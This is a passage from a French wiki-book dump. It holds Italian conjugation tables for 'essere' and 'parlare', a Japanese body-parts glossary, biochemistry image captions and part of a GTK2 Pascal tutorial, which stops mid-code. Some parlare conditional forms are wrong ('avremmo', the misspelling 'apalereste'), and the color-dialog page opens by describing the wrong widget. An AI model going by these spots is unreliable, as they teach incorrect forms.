Pascal|GtkFileSelection]] Modèle:Programmation GTK2 en Pascal - Sélections 3121 14654 2005-04-10T13:21:09Z Didier 186 {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#EAF5FB;" | Sélections : [[Programmation GTK2 en Pascal - GtkFileSelection|GtkFileSelection]] ~ [[Programmation GTK2 en Pascal - GtkColorSelectionDialog|GtkColorSelectionDialog]] |} Programmation CSS - Texte 3123 39981 2006-04-11T17:21:23Z Clément Cordaro 1305 [[Programmation CSS - Historique]] déplacé vers [[Programmation CSS - Texte]] {{Programmation CSS | prec=[[Programmation CSS - Généralités|Introduction]] | suiv=[[Programmation CSS - Les sélecteurs|Les sélecteurs CSS]]}} Essere (être) 3125 14657 2005-04-11T01:22:14Z 24.201.40.27 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono</div> </td> <td width="26%"> <div align="center">ero</div> </td> <td width="27%"> <div align="center">sar&ograve;</div> </td> <td width="24%"> <div align="center">fui</div> </td> </tr> <tr> <td width="23%"> <div align="center">sei</div> </td> <td width="26%"> <div align="center">eri</div> </td> <td width="27%"> <div align="center">sarai</div> </td> <td width="24%"> <div align="center">fosti</div> </td> </tr> <tr> <td width="23%"> <div align="center">è</div> </td> <td width="26%"> <div align="center">era</div> </td> <td width="27%"> <div align="center">sar&agrave;</div> </td> <td width="24%"> <div align="center">fu</div> </td> </tr> <tr> <td width="23%"> <div align="center">siamo</div> </td> <td width="26%"> <div align="center">eravamo</div> </td> <td width="27%"> <div align="center">saremo</div> </td> <td width="24%"> <div align="center">fummo</div> </td> </tr> <tr> <td width="23%"> <div align="center">siete</div> </td> <td width="26%"> <div align="center">eravate</div> </td> <td width="27%"> <div align="center">sarete</div> </td> <td width="24%"> <div align="center">foste</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono</div> </td> <td width="26%"> <div align="center">erano</div> </td> <td width="27%"> <div align="center">saranno</div> </td> <td width="24%"> <div align="center">furono</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono stato</div> </td> <td width="26%"> <div align="center">ero stato</div> </td> <td width="27%"> <div align="center">sar&ograve; stato</div> </td> <td width="24%"> <div align="center">fui stato</div> </td> </tr> <tr> <td width="23%"> <div align="center">sei stato</div> </td> <td width="26%"> <div align="center">eri stato</div> </td> <td width="27%"> <div align="center">sarai stato</div> </td> <td width="24%"> <div align="center">fosti stato</div> </td> </tr> <tr> <td width="23%"> <div align="center">è stato</div> </td> <td width="26%"> <div align="center">era stato</div> </td> <td width="27%"> <div align="center">sar&agrave; stato</div> </td> <td width="24%"> <div align="center">fu stato</div> </td> </tr> <tr> <td width="23%"> <div align="center">siamo stati</div> </td> <td width="26%"> <div align="center">eravamo stati</div> </td> <td width="27%"> <div align="center">saremo stati</div> </td> <td width="24%"> <div align="center">fummo stati</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">siete stati</div> </td> <td width="26%" height="13"> <div align="center">eravate stati</div> </td> <td width="27%" height="13"> <div align="center">sarete stati</div> </td> <td width="24%" height="13"> <div align="center">foste stati</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono stati</div> </td> <td width="26%"> <div align="center">erano stati</div> </td> <td width="27%"> <div align="center">saranno stati</div> </td> <td width="24%"> <div align="center">furono stati</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">sia</div> </td> <td width="26%"> <div align="center">fossi</div> </td> <td width="27%"> <div align="center">sia stato</div> </td> <td width="24%"> <div align="center">fossi stato</div> </td> </tr> <tr> <td width="23%"> <div align="center">sia</div> </td> <td width="26%"> <div align="center">fossi</div> </td> <td width="27%"> <div align="center">sia stato</div> </td> <td width="24%"> <div align="center">fossi stato</div> </td> </tr> <tr> <td width="23%"> <div align="center">sia</div> </td> <td width="26%"> <div align="center">fosse</div> </td> <td width="27%"> <div align="center">sia stato</div> </td> <td width="24%"> <div align="center">fosse stato</div> </td> </tr> <tr> <td width="23%"> <div align="center">siamo</div> </td> <td width="26%"> <div align="center">fossimo</div> </td> <td width="27%"> <div align="center">siamo stati</div> </td> <td width="24%"> <div align="center">fossimo stati</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">siate</div> </td> <td width="26%" height="13"> <div align="center">foste</div> </td> <td width="27%" height="13"> <div align="center">siate stati</div> </td> <td width="24%" height="13"> <div align="center">foste stati</div> </td> </tr> <tr> <td width="23%"> <div align="center">siano</div> </td> <td width="26%"> <div align="center">fossero</div> </td> <td width="27%"> <div align="center">siano stati</div> </td> <td width="24%"> <div align="center">fossero stati</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">sarei</div> </td> <td width="26%"> <div align="center">sarei stato</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">stato</div> </td> </tr> <tr> <td width="23%"> <div align="center">saresti</div> </td> <td width="26%"> <div align="center">saresti stato</div> </td> <td width="27%"> <div align="center">sii</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">sarebbe</div> </td> <td width="26%"> <div align="center">sarebbe stato</div> </td> <td width="27%"> <div align="center">sia</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">saremmo</div> </td> <td width="26%"> <div align="center">saremmo stati</div> </td> <td width="27%"> <div align="center">siamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">sareste</div> </td> <td width="26%" height="13"> <div align="center">sareste stati</div> </td> <td width="27%" height="13"> <div align="center">siate</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">sarebbero</div> </td> <td width="26%"> <div align="center">sarebbero stati</div> </td> <td width="27%"> <div align="center">siano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">essere</div> </td> <td width="26%"> <div align="center">essere stato</div> </td> <td width="27%"> <div align="center">essendo</div> </td> <td width="24%"> <div align="center">essendo stato</div> </td> </tr> </table> En "are" (Ex: parlare -(parler)) 3126 14658 2005-04-25T23:48:42Z 24.200.27.225 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">parlo</div> </td> <td width="26%"> <div align="center">parlavo</div> </td> <td width="27%"> <div align="center">parler&ograve;</div> </td> <td width="24%"> <div align="center">parlai</div> </td> </tr> <tr> <td width="23%"> <div align="center">parli</div> </td> <td width="26%"> <div align="center">parlavi</div> </td> <td width="27%"> <div align="center">parlerai</div> </td> <td width="24%"> <div align="center">parlasti</div> </td> </tr> <tr> <td width="23%"> <div align="center">parla</div> </td> <td width="26%"> <div align="center">parlava</div> </td> <td width="27%"> <div align="center">parler&agrave;</div> </td> <td width="24%"> <div align="center">parl&ograve;</div> </td> </tr> <tr> <td width="23%"> <div align="center">parliamo</div> </td> <td width="26%"> <div align="center">parlavamo</div> </td> <td width="27%"> <div align="center">parleremo</div> </td> <td width="24%"> <div align="center">parlammo</div> </td> </tr> <tr> <td width="23%"> <div align="center">parlate</div> </td> <td width="26%"> <div align="center">parlavate</div> </td> <td width="27%"> <div align="center">parlerete</div> </td> <td width="24%"> <div align="center">parlaste</div> </td> </tr> <tr> <td width="23%"> <div align="center">parlano</div> </td> <td width="26%"> <div align="center">parlavano</div> </td> <td width="27%"> <div align="center">parleranno</div> </td> <td width="24%"> <div align="center">parlarono</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho parlato</div> </td> <td width="26%"> <div align="center">avevo parlato</div> </td> <td width="27%"> <div align="center">avr&ograve; parlato</div> </td> <td width="24%"> <div align="center">ebbi parlato</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai parlato</div> </td> <td width="26%"> <div align="center">avevi parlato</div> </td> <td width="27%"> <div align="center">avrai parlato</div> </td> <td width="24%"> <div align="center">avesti parlato</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha parlato</div> </td> <td width="26%"> <div align="center">aveva parlato</div> </td> <td width="27%"> <div align="center">avr&agrave; parlato</div> </td> <td width="24%"> <div align="center">ebbe parlato</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo parlato</div> </td> <td width="26%"> <div align="center">avevamo parlato</div> </td> <td width="27%"> <div align="center">avremo parlato</div> </td> <td width="24%"> <div align="center">avemmo parlato</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete parlato</div> </td> <td width="26%" height="13"> <div align="center">avevate parlato</div> </td> <td width="27%" height="13"> <div align="center">avrete parlato</div> </td> <td width="24%" height="13"> <div align="center">aveste parlato</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno parlato</div> </td> <td width="26%"> <div align="center">avevano parlato</div> </td> <td width="27%"> <div align="center">avranno parlato</div> </td> <td width="24%"> <div align="center">ebbero parlato</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">parli</div> </td> <td width="26%"> <div align="center">parlassi</div> </td> <td width="27%"> <div align="center">abbia parlato</div> </td> <td width="24%"> <div align="center">avessi parlato</div> </td> </tr> <tr> <td width="23%"> <div align="center">parli</div> </td> <td width="26%"> <div align="center">parlassi</div> </td> <td width="27%"> <div align="center">abbia parlato</div> </td> <td width="24%"> <div align="center">avessi parlato</div> </td> </tr> <tr> <td width="23%"> <div align="center">parli</div> </td> <td width="26%"> <div align="center">parlasse</div> </td> <td width="27%"> <div align="center">abbia parlato</div> </td> <td width="24%"> <div align="center">avesse parlato</div> </td> </tr> <tr> <td width="23%"> <div align="center">parliamo</div> </td> <td width="26%"> <div align="center">parlassimo</div> </td> <td width="27%"> <div align="center">abbiamo parlato</div> </td> <td width="24%"> <div align="center">avessimo parlato</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">parliate</div> </td> <td width="26%" height="13"> <div align="center">parlaste</div> </td> <td width="27%" height="13"> <div align="center">abbiate parlato</div> </td> <td width="24%" height="13"> <div align="center">aveste parlato</div> </td> </tr> <tr> <td width="23%"> <div align="center">parlino</div> </td> <td width="26%"> <div align="center">parlassero</div> </td> <td width="27%"> <div align="center">abbiano parlato</div> </td> <td width="24%"> <div align="center">avessero parlato</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">parlerei</div> </td> <td width="26%"> <div align="center">avrei parlato</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">parlato</div> </td> </tr> <tr> <td width="23%"> <div align="center">parleresti</div> </td> <td width="26%"> <div align="center">avresti parlato</div> </td> <td width="27%"> <div align="center">parla</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">parlerebbe</div> </td> <td width="26%"> <div align="center">avrebbe parlato</div> </td> <td width="27%"> <div align="center">parli</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">avremmo</div> </td> <td width="26%"> <div align="center">avremmo parlato</div> </td> <td width="27%"> <div align="center">parliamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">apalereste</div> </td> <td width="26%" height="13"> <div align="center">avreste parlato</div> </td> <td width="27%" height="13"> <div align="center">parlate</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">parlerebbero</div> </td> <td width="26%"> <div align="center">avrebbero parlato</div> </td> <td width="27%"> <div align="center">parlino</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">parlare</div> </td> <td width="26%"> <div align="center">avere parlato</div> </td> <td width="27%"> <div align="center">parlando</div> </td> <td width="24%"> <div align="center">avendo parlato</div> </td> </tr> </table> Anatomie (Japonais) 3127 20441 2005-09-02T12:27:42Z Duarna 465 +modèle Retour à la table des matières : [[Japonais:Table des matières|^ Japonais ^]] <center><table border="1"> <tr><td colspan="5"><center>'''Parties du corps en japonais'''</center></td></tr> <th>[[Japonais:Kanji|Kanji]] </th><th>[[Japonais:Hiragana|Hiragana]] </th><th>[[Japonais:Romaji|Romaji]] </th><th>Français </th> <tr><td><big>[[wiktionary:fr:体|体]]</big></td><td>からだ</td><td>''karada''</td></td><td>le corps</td></tr> <tr><td><big>[[wiktionary:fr:頭|頭]]</big></td><td>あたま</td><td>''atama''</td><td>la tête</td></tr> <tr><td><big>[[wiktionary:fr:額|額]]</big></td><td>ひたい</td><td>''hitai''</td><td>le front</td></tr> <tr><td><big>[[wiktionary:fr:目|目]]</big></td><td>め</td><td>''me''</td><td>l'oeil</td></tr> <tr><td><big>[[wiktionary:fr:鼻|鼻]]</big></td><td>はな</td><td>''hana''</td><td>le nez</td></tr> <tr><td><big>[[wiktionary:fr:口|口]]</big></td><td>くち</td><td>''kuchi''</td><td>la bouche</td></tr> <tr><td><big>[[wiktionary:fr:耳|耳]]</big></td><td>みみ</td><td>''mimi''</td><td>l'oreille</td></tr> <tr><td><big>[[wiktionary:fr:顎|顎]]</big></td><td>あご</td><td>''ago''</td><td>le menton</td></tr> <tr><td><big>[[wiktionary:fr:首|首]]</big></td><td>くび</td><td>''kubi''</td><td>le cou</td></tr> <tr><td><big>[[wiktionary:fr:肩|肩]]</big></td><td>かた</td><td>''kata''</td><td>les épaules</td></tr> <tr><td><big>[[wiktionary:fr:腕|腕]]</big></td><td>うで</td><td>''ude''</td><td>le bras</td></tr> <tr><td><big>[[wiktionary:fr:肘|肘]]</big></td><td>ひじ</td><td>''hiji''</td></td><td>le coude</td></tr> <tr><td><big>[[wiktionary:fr:手首|手首]]</big></td><td>てくび</td><td>''tekubi''</td><td>le poignet</td></tr> <tr><td><big>[[wiktionary:fr:手|手]]</big></td><td>て</td><td>''te''</td><td>la main</td></tr> <tr><td><big>[[wiktionary:fr:指|指]]</big></td><td>ゆび</td><td>''yubi''</td><td>le doigt</td></tr> <tr><td><big>[[wiktionary:fr:胸|胸]]</big></td><td>むね</td><td>''mune''</td><td>la poitrine</td></tr> <tr><td><big>[[wiktionary:fr:背中|背中]]</big></td><td>せなか</td><td>''senaka''</td></td><td>le dos</td></tr> <tr><td><big>[[wiktionary:fr:お腹|お腹]]</big></td><td>おなか</td><td>''onaka''</td></td><td>le ventre</td></tr> <tr><td><big>[[wiktionary:fr:腰|腰]]</big></td><td>こし</td><td>''koshi''</td></td><td>les reins</td></tr> <tr><td><big>[[wiktionary:fr:お尻|お尻]]</big></td><td>おしり</td><td>''oshiri''</td></td><td>le derrière</td></tr> <tr><td><big>[[wiktionary:fr:脚|脚]]</big></td><td>あし</td><td>''ashi''</td></td><td>la jambe</td></tr> <tr><td><big>[[wiktionary:fr:膝|膝]]</big></td><td>ひざ</td><td>''hiza''</td></td><td>le genou</td></tr> <tr><td><big>[[wiktionary:fr:足首|足首]]</big></td><td>あしくび</td><td>''ashikubi''</td><td>la cheville</td></tr> <tr><td><big>[[wiktionary:fr:足|足]]</big></td><td>あし</td><td>''ashi''</td><td>le pied</td></tr> </table></center> ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] Catégorie:Glossaires de Japonais 3128 20506 2005-09-03T12:42:53Z Duarna 465 +modèle Cette sous-catégorie de [[:Catégorie:Japonais|Japonais]] a pour objectif de contenir des glossaires thématiques de Japonais afin d'avoir une approche exhaustive du vocabulaire. {{Glossaires de Japonais}} [[catégorie:Japonais]] Japonais:Couleurs 3129 14661 2005-04-11T04:48:12Z Genepi2 249 Japonais:Couleurs déplacé vers Couleurs (Japonais) #REDIRECT [[Couleurs (Japonais)]] Japonais:Table des matières 3130 14662 2005-04-11T04:53:05Z Genepi2 249 Japonais:Table des matières déplacé vers Table des matières (Japonais) #REDIRECT [[Table des matières (Japonais)]] Image:Image020constituants.gif 3133 14665 2005-04-11T16:45:16Z Bionet 111 Alcool Alcool Image:Image022constituants.gif 3134 14666 2005-04-11T16:46:53Z Bionet 111 Aldéhyde et cétone Aldéhyde et cétone Image:Image024constituants.gif 3135 14667 2005-04-11T16:47:36Z Bionet 111 Carboxylique Carboxylique Image:Image026constituants.gif 3136 14668 2005-04-11T16:48:25Z Bionet 111 Amine Amine Image:Image028constituants.gif 3137 14669 2005-04-11T16:48:59Z Bionet 111 Ester Ester Image:Image030constituants.gif 3138 14670 2005-04-11T16:49:35Z Bionet 111 Amide Amide Image:Image032constituants.gif 3139 14671 2005-04-11T16:50:05Z Bionet 111 Ether-oxyde Ether-oxyde Image:Image034constituants.gif 3140 14672 2005-04-11T16:51:12Z Bionet 111 glycéraldéhyde (aldotriose) glycéraldéhyde (aldotriose) Image:Image036constituants.gif 3141 14673 2005-04-11T16:51:42Z Bionet 111 aldotétroses aldotétroses Image:Image038constituants.gif 3142 14674 2005-04-11T16:52:23Z Bionet 111 Formule semi-développée d’un C5H10O5 Formule semi-développée d’un C5H10O5 Image:Image040constituants.gif 3143 14675 2005-04-11T16:52:56Z Bionet 111 aldoses remarquables aldoses remarquables Image:Image042constituants.gif 3144 14676 2005-04-11T16:54:17Z Bionet 111 fonction cétone fonction cétone Image:Image044constituants.gif 3145 14677 2005-04-11T16:55:33Z Bionet 111 cétotriose cétotriose Image:Image046constituants.gif 3146 14678 2005-04-11T16:56:12Z Bionet 111 cétotétroses cétotétroses Image:Image048constituants.gif 3147 14679 2005-04-11T16:56:45Z Bionet 111 cétohexoses dont le fructose (Fruc) cétohexoses dont le fructose (Fruc) Image:Image050constituants.gif 3148 14680 2005-04-11T16:57:17Z Bionet 111 passage du D-glucose de la forme linéaire à la forme glucopyranose passage du D-glucose de la forme linéaire à la forme glucopyranose Image:Image052constituants.gif 3149 14681 2005-04-11T16:58:27Z Bionet 111 formes bateau et chaise,  et -glucose formes bateau et chaise,  et -glucose Image:Image054constituants.gif 3150 14682 2005-04-11T16:58:58Z Bionet 111 structures des furanne et pyranne structures des furanne et pyranne Image:Image056constituants.gif 3151 14683 2005-04-11T16:59:41Z Bionet 111 la liaison osidique la liaison osidique Image:Image058constituants.gif 3152 14684 2005-04-11T17:00:11Z Bionet 111 molécule de maltose (2 glucoses reliés en 1,4) molécule de maltose (2 glucoses reliés en 1,4) Image:Image060constituants.gif 3153 14685 2005-04-11T17:00:41Z Bionet 111 amidon amidon Image:Image062constituants.gif 3154 14686 2005-04-11T17:01:10Z Bionet 111 schéma simplifié de la glycogénogenèse schéma simplifié de la glycogénogenèse Image:Image064constituants.gif 3155 14687 2005-04-11T17:03:14Z Bionet 111 formules développées et semi-développées d'acides gras en C4 et C6 formules développées et semi-développées d'acides gras en C4 et C6 Image:Image066constituants.gif 3156 14688 2005-04-11T17:04:12Z Bionet 111 acide oléique (C18,19) et linoléique(C18,29,12) acide oléique (C18,19) et linoléique(C18,29,12) Image:Image068constituants.gif 3157 14689 2005-04-11T17:04:41Z Bionet 111 acide docosahexaenoïque (C22,64,7,10,13,16,19). acide docosahexaenoïque (C22,64,7,10,13,16,19). Image:Image070constituants.gif 3158 14690 2005-04-11T17:06:03Z Bionet 111 formation d'une liaison ester formation d'une liaison ester Image:Image072constituants.gif 3159 14691 2005-04-11T17:06:40Z Bionet 111 formule du glycérol (glycérol=alcool=triol) formule du glycérol (glycérol=alcool=triol) Image:Image074constituants.gif 3160 14692 2005-04-11T17:07:20Z Bionet 111 formation des triglycérides formation des triglycérides Image:Image076constituants.gif 3161 14693 2005-04-11T17:07:49Z Bionet 111 la graisse est stockée dans des cellules spécialisées la graisse est stockée dans des cellules spécialisées Image:Image078constituants.gif 3162 14694 2005-04-11T17:08:38Z Bionet 111 formation de l'acide phosphatidique formation de l'acide phosphatidique Image:Image080constituants.gif 3163 14695 2005-04-11T17:09:11Z Bionet 111 la lécithine la lécithine Image:Image082constituants.gif 3164 14696 2005-04-11T17:09:45Z Bionet 111 phospholipides et membrane cytoplasmique phospholipides et membrane cytoplasmique Image:Image084constituants.gif 3165 14697 2005-04-11T17:10:57Z Bionet 111 amine II et acide aminé amine II et acide aminé Image:Image086constituants.gif 3166 14698 2005-04-11T17:11:43Z Bionet 111 l'acide aminé alanine (Ala) l'acide aminé alanine (Ala) Image:Image088constituants.gif 3167 14699 2005-04-11T17:12:15Z Bionet 111 glycine (Gly) glycine (Gly) Image:Image090constituants.gif 3168 14700 2005-04-11T17:14:07Z Bionet 111 liaison peptidique liaison peptidique Image:Image092constituants.gif 3169 14701 2005-04-11T17:14:52Z Bionet 111 formation d'un dipeptide formation d'un dipeptide Image:Image094constituants.gif 3170 14702 2005-04-11T17:15:28Z Bionet 111 synthèse protéique (schéma simplifié) synthèse protéique (schéma simplifié) Image:Image096constituants.gif 3171 14703 2005-04-11T17:16:16Z Bionet 111 ribose, désoxyribose et leur cyclisation ribose, désoxyribose et leur cyclisation Image:Image098constituants.gif 3172 14704 2005-04-11T17:17:00Z Bionet 111 acide phosphorique acide phosphorique Image:Image100constituants.gif 3173 14705 2005-04-11T17:17:35Z Bionet 111 désoxyribonucléotides désoxyribonucléotides Image:Image102constituants.gif 3174 14706 2005-04-11T17:18:24Z Bionet 111 liaisons des désoxynucléotides liaisons des désoxynucléotides Image:Image104constituants.gif 3175 14707 2005-04-11T17:18:52Z Bionet 111 liaisons des ribonucléotides liaisons des ribonucléotides Image:Programmation GTK2 en Pascal - gtk049.png 3176 14708 2005-04-11T17:18:58Z Didier 186 Exemple du programme gtk049.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk049.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Image106constituants.gif 3177 14709 2005-04-11T17:19:38Z Bionet 111 écritures simplifiées des nucléotides écritures simplifiées des nucléotides Image:Image108constituants.gif 3178 14710 2005-04-11T17:20:09Z Bionet 111 structure bicaténaire de l'ADN structure bicaténaire de l'ADN Programmation GTK2 en Pascal - GtkColorSelectionDialog 3179 14711 2005-04-11T17:20:31Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkFileSelection''' est une boîte de dialogue qui permet de demander à l'utilisateur de sélectionner un fichier particulier. Ce contrôle ne s'occupe de la récupération du nom du fichier. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkWindow|GtkWindow]] └─[[Programmation GTK2 en Pascal - GtkDialog|GtkDialog]] └─[[Programmation GTK2 en Pascal - GtkColorSelectionDialog|GtkColorSelectionDialog]] |} == Utilisation de base == === Création === La fonction de création est simple : function gtk_color_selection_dialog_new(title : Pgchar) : PGtkWidget; Le paramètre <code>title</code> est le titre de votre boîte de dialogue : vous pouvez ainsi l'appeler suivant vos besoins « Choisir la couleur de fond de fenêtre...», etc. === Affichage === Puisque ce nouveau contrôle dérive directement du contrôle <code>[[Programmation GTK2 en Pascal - GtkDialog|GtkDialog]]</code>, il nous suffit d'utiliser la fonction : function gtk_dialog_run(dialog : PGtkDialog) : gint; La valeur de retour est importante pour savoir si l'utilisateur a sélectionné une couleur ou pas. === Récupération de la couleur === La fenêtre de dialogue contient un contrôle de type <code>GtkColorSelection</code> qui se nomme <code>colorsel</code>. On va utiliser la fonction de ce dernier : procedure gtk_color_selection_get_current_color(colorsel : PGtkColorSelection; color : PGdkColor); === Initialisation de la couleur === Une couleur peut être donnée à la boîte de dialogue avant son affichage. Cela se fait avec la fonction : procedure gtk_color_selection_set_current_color(colorsel : PGtkColorSelection; color : PGdkColor); == Programme exemple == Nous allons créer une fenêtre avec un bouton nous permettant d'ouvrir une <code>GtkColorSelectionDialog</code>. Une fois la couleur sélectionnée, nous afficherons sur la console les différentes composantes de cette couleur. Ceci pour faire simple, on aurait pu repeindre le fond de la fenêtre par exemple, mais on aurait été un peu hors sujet... Voici le fichier <code>gtk049.pas</code> : program gtk049; uses glib2, gtk2, gdk2, sysutils; procedure gtk_toolbar_insert(toolbar : PGtkToolbar; item : PGtkToolItem; pos : gint); cdecl; external gtklib name 'gtk_toolbar_insert'; procedure OnClickBtn(APWidget : PGtkwidget; AData : pgpointer); cdecl; var pSelectionCouleur : 